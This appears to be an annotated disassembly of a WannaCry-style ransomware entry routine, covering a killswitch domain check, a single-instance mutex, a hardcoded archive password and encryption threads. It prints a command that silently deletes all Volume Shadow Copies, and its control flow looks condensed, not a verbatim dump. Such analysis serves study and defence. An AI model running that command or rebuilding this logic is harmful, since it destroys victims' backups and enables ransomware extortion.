0x00408100
55
push
ebp
; Function Prologue - Initialize Stack Frame
0x00408101
89 E5
mov
ebp, esp
; Save stack pointer to base pointer
0x00408103
83 EC 28
sub
esp, 0x28
; Allocate 40 bytes for local variables
0x00408106
68 80 92 40 00
push
offset szKillswitchUrl
; 'http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com'
0x0040810B
E8 40 12 00 00
call
InternetOpenUrlA
; Probe killswitch web resource
0x00408110
85 C0
test
eax, eax
; Check if handle returned != NULL (domain registered?)
0x00408112
75 32
jnz
0x00408146
; If domain exists, exit without encrypting
0x00408114
68 A0 94 40 00
push
offset szMutexName
; 'Global\MsWinZonesCacheCounterMutexA'
0x00408119
6A 00
push
0
; bInitialOwner = FALSE
0x0040811B
E8 22 14 00 00
call
CreateMutexA
; Ensure single infection instance
0x00408120
68 C0 96 40 00
push
offset szCmdShadowWipe
; 'cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet'
0x00408125
6A 00
push
SW_HIDE
; Hide command prompt window
0x00408127
E8 88 15 00 00
call
WinExec
; Erase Volume Shadow Copies
0x0040812C
68 E0 98 40 00
push
offset szZipPassword
; Hardcoded zip password 'WNcry@2ol7'
0x00408131
E8 10 16 00 00
call
UnpackResourceArchive
; Extract tasksche.exe and encryption DLLs
0x00408136
E8 50 17 00 00
call
StartEncryptionThreads
; Launch AES-128 file encryption loops
0x0040813B
89 EC
mov
esp, ebp
; Clean stack
0x0040813D
5D
pop
ebp
; Restore base pointer
0x00408146
6A 00
push
0
; Exit code 0 (Killswitch engaged)
0x00408148
E8 B0 18 00 00
call
ExitProcess
; Terminate execution immediately